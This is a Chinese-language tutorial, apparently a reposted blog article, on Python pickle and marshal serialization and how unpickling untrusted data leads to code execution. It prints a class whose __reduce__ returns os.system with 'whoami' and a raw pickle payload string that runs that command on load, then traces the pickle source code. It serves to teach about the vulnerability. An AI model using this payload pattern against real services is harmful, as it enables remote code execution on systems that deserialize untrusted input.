1. 程式人生 > >Python反序列漏洞分析!

Python反序列漏洞分析!

什麼是序列化?

程式執行的過程中,變數都是在記憶體中的,當程式一旦執行完畢結束退出後,變數佔有的記憶體就被釋放。

如果將記憶體中的變數持久化儲存到磁碟中,這個過程就成為序列化;下次執行的時候從磁碟中讀取變數到記憶體中,這個過程就成為反序列化。

在python中序列化稱為pickling,反序列化被稱為pickling;在php中序列化被稱為serialization,反序列化被稱為unserialization。

Python反序列漏洞分析!

 

Pickle and marshal

涉及到Python反序列化安全問題的模組主要包含兩個pickle(cpickle)和marshal模組。

Pickle marshal的基本操作

  • pickle.dump(obj, file, [,protocol]) 將obj物件序列化存入已經開啟的file中
import marshal
import pickle
dataList = ['test1', 'test2']
f = open('dataFile.txt', 'wb')
pickle.dump(dataList, f)
f.close()
  • pickle.load(file) 從file中讀取序列化字串,反序列化轉換為python的資料物件
f = open('dataFile.txt', 'r')
dataList = pickle.load(f)
print(dataList) #['test1', 'test2']
f.close()
  • pickle.dumps(obj[, protocol]) 將obj物件序列化為string形式
class A:
 def __init__(self):
 print('This is A')
a = A()
p_a = pickle.dumps(a)
print(p_a)
  • pickle.loads(string) 從string中反序列化讀出obj物件
class A:
 def __init__(self):
 print('This is A')
a = A()
p_a = pickle.dumps(a)
pickle.loads(p_a)

marsha模組同樣包括dump,load/dumps,loads四個操作函式,基本操作和pickle模組相似。

支援pickle的資料型別

  • None,True和False
  • 整數,長整數,浮點數,複數
  • 普通和Unicode字串
  • 元組,列表,集和僅包含可序列化物件的字典
  • 在模組頂層定義的函式
  • 在模組頂層定義的內建函式
  • 在模組頂層定義的類
  • __dict__或者呼叫__getstate__()併產生結果的類的例項

pickle marshal區別

一般情況下pickle應該始終是序列化Python物件的首選方法,marshal是一個更原始的序列化模組,marshal主要用於支援Python的.pyc檔案。

  • pickle模組會跟蹤已經序列化的物件,因此以後對同一物件的引用將不會再次序列化。marshal則不會這樣做。
  • marshal不能用於序列化使用者定義的類及其例項。pickle可以透明地儲存和恢復類例項,但是類定義必須是可匯入的,並且儲存在與儲存物件時相同的模組中。
  • marshal序列化格式不能保證在Python版本之間可移植。pickle序列化格式保證在Python版本之間向後相容。
class A:
 def __init__(self):
 print('This is A')
a = A()
pickle.dumps(a)
marshal.dumps(a) # marshal不能用於序列化使用者定義的類及其例項,報錯 ValueError: unmarshallable object

Python反序列化程式碼執行問題

  • object.__reduce__() __reduce__()方法在序列化的字元被反序列化為物件的時候呼叫(類似PHP的wakeup魔術方法)。在新式類中生效,不帶引數,應返回字串或是一個元組。

如果返回一個字串,該字串應該被解釋為全域性變數的名稱,它應該是物件相對於其模組的本地名稱。

當返回一個元組時,它必須包含兩到五個成員。可選成員可以省略,也可以提供None作為其值。

每個成員的意義是按順序規定的:

  • 第一個成員,將被呼叫的物件,callable。
  • 第二個成員,可呼叫物件的引數的元組。如果callable不接受任何引數,則必須給出一個空元組。

當Python定義的類中的__reduce__函式返回的元組包含危險程式碼或可控,就會造成程式碼執行。

class A(object):
 def __init__(self, func, arg):
 self.func = func
 self.arg = arg
 print('This is A')
 def __reduce__(self):
 return (self.func, self.arg)
a = A(os.system, ('whoami',))
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('==========')
print(p_a)
'''
This is A
rai4over
==========
cposix
system
p0
(S'whoami'
p1
tp2
Rp3
.
'''
  • pickle.loads
  • pickle.loads或者pickle.load的引數可控同樣會造成程式碼執行。
payload = '''cposix
system
p0
(S'whoami'
p1
tp2
Rp3
.'''
pickle.loads(payload)
#rai4over

Pickle模組原始碼淺析

原始碼總體關鍵物件

首先是定義的四個異常類,分別是pickle.PickleError,pickle.PicklingError,pickle.UnpicklingError,_Stop。

接著就是非常重要的Pickle opcodes,在解析和排程中起到非常重要的作用

MARK = '(' # push special markobject on stack
STOP = '.' # every pickle ends with STOP
POP = '0' # discard topmost stack item
POP_MARK = '1' # discard stack top through topmost markobject
DUP = '2' # duplicate top stack item
.................
.................
NEWFALSE = '\x89' # push False
LONG1 = '\x8a' # push long from < 256 bytes
LONG4 = '\x8b' # push really big long
class Pickler,pickle.dump和pickle.dumps都會例項化這個類。
class Unpickler,pickle.load和pickle.loads都會例項化這個類。
def dump(obj, file, protocol=None):
 Pickler(file, protocol).dump(obj)
def dumps(obj, protocol=None):
 file = StringIO()
 Pickler(file, protocol).dump(obj)
 return file.getvalue()
def load(file):
 return Unpickler(file).load()
def loads(str):
 file = StringIO(str)
 return Unpickler(file).load()

序列化流程淺析

以pickle.dumps序列化方法為例,測試程式碼不變:

class A(object):
 def __init__(self, func, arg):
 self.func = func
 self.arg = arg
 print('This is A')
 def __reduce__(self):
 return (self.func, self.arg)
a = A(os.system, ('whoami',))
p_a = pickle.dumps(a)
  • 首先呼叫dumps方法,然後例項化Pickler類,會傳入空的可寫入物件進入__init__完成初始化,並呼叫該類的dump方法並傳入序列化物件開始進行序列化。
def dumps(obj, protocol=None):
 file = StringIO()
 Pickler(file, protocol).dump(obj)
 return file.getvalue()

初始化過程中對協議的型別進行了判斷,還有將可寫入物件的賦值給self.write等操作

class Pickler:
 def __init__(self, file, protocol=None):
 if protocol is None:
 protocol = 0
 if protocol < 0:
 protocol = HIGHEST_PROTOCOL
 elif not 0 <= protocol <= HIGHEST_PROTOCOL:
 raise ValueError("pickle protocol must be <= %d" % HIGHEST_PROTOCOL)
 self.write = file.write
 self.memo = {}
 self.proto = int(protocol)
 self.bin = protocol >= 1
 self.fast = 0
  • 除了初始化,還需要注意的就是類變數dispatch,這個類變數是一個字典,鍵名是並非常見的string型別,而是使用的types模組下定義的資料的型別。
#types.py
NoneType = type(None)
TypeType = type
ObjectType = object
IntType = int
LongType = long
FloatType = float
BooleanType = bool
try:
 ComplexType = complex
except NameError:
 pass
StringType = str
try:
 UnicodeType = unicode
 StringTypes = (StringType, UnicodeType)
except NameError:
 StringTypes = (StringType,)
BufferType = buffer
TupleType = tuple
ListType = list
DictType = DictionaryType = dict
def _f(): pass
FunctionType = type(_f)
LambdaType = type(lambda: None) # Same as FunctionType
CodeType = type(_f.func_code)

鍵值則為各個處理方法的地址,dispatch建立起了變數型別和處理方法的對映,可以稱之為排程表。

Python反序列漏洞分析!

 

Python反序列漏洞分析!

 

  • 初始化完關鍵的變數之後,就會進入dump方法,這裡面最重要的就是self.save方法
def dump(self, obj):
 """Write a pickled representation of obj to the open file."""
 if self.proto >= 2:
 self.write(PROTO + chr(self.proto))
 self.save(obj)
 self.write(STOP)

save方法類似於一個分析排程器,分析我們傳進來的需要序列化物件的資料型別,屬性,根據結果進行不同調度,當傳入的物件型別存在於dispatch排程表內時,直接傳入處理函式,完成序列化。

Python反序列漏洞分析!

 

示例中的序列化物件型別就是<class '__main__.A'>,不存在於dispatch排程表,因此是通過分析__reduce_ex__屬性得到結果變數rv,我們可以發現這個就是我們定義類中的__reduce__的回撥內容。

Python反序列漏洞分析!

 

最後將obj和rv傳入save_reduce函式。

self.save_reduce(obj=obj, *rv)
  • 在save_reduce函式內,obj和rv兩個引數分別傳入save函式。
def save_reduce(self, func, args, state=None,
 listitems=None, dictitems=None, obj=None):
 
 if not isinstance(args, TupleType):
 raise PicklingError("args from reduce() should be a tuple")
 
 if not hasattr(func, '__call__'):
 #.......................
 #.......................
 if self.proto >= 2 and getattr(func, "__name__", "") == "__newobj__":
#.......................
 #.......................
 else:
 save(func) #再次進入save
 save(args) #再次進入save
 write(REDUCE)

此時重新經過save函式分析傳進來了物件型別為<type 'builtin_function_or_method'>,可以在排程表裡面找到。

Python反序列漏洞分析!

 

save(args)是元組,同樣可以在排程表中找到對應方法,序列化過程基本完成。

反序列化流程淺析

以pickle.loads反序列化方法為例,測試程式碼為上例序列化字串:

payload = '''cposix
system
p0
(S'whoami'
p1
tp2
Rp3
.'''
pickle.loads(payload)

首先呼叫loads方法,然後例項化Unpickler類,進入__init__完成初始化,並呼叫該類的load方法開始反序列化。

進群:548377875  即可獲取數十套PDF哦!

def loads(str):
 file = StringIO(str)
 return Unpickler(file).load()

初始化後,同樣擁有一個字典排程表dispatch,但這個這個排程表和pickle類中的不一樣,鍵名是Pickle opcodes,鍵值是反序列化的處理方法。

Python反序列漏洞分析!

 

然後進入load函式,對序列化字元進行關鍵位元組讀取,然後在排程表dispatch中尋找對應的處理函式。

def load(self):
 """Read a pickled object representation from the open file.
 
 Return the reconstituted object hierarchy specified in the file.
 """
 self.mark = object() # any new unique object
 self.stack = []
 self.append = self.stack.append
 read = self.read
 dispatch = self.dispatch
 try:
 while 1:
 key = read(1) #key=c
 dispatch[key](self)
 except _Stop, stopinst:
 return stopinst.value

比如我們反序列化的字串的第一個字元為c,則根據排程表進入load_global函式,分別讀取模組posix和方法名稱system,然後進入find_class函式。

Python反序列漏洞分析!

 

在find_class函式中,根據模組名匯入模組,然後獲取模組的方法,存入klass,然後作為返回值,並新增到stack中。

Python反序列漏洞分析!

 

  • 依次讀取Pickle opcodes,完成反序列化,關鍵操作如下。
  • 當為S時,呼叫函式load_string,讀取命令字串whoami並新增到stack中。

Python反序列漏洞分析!

 

當為R時,呼叫load_reduce,從棧中獲取回撥函式和引數,並執行。

Python反序列漏洞分析!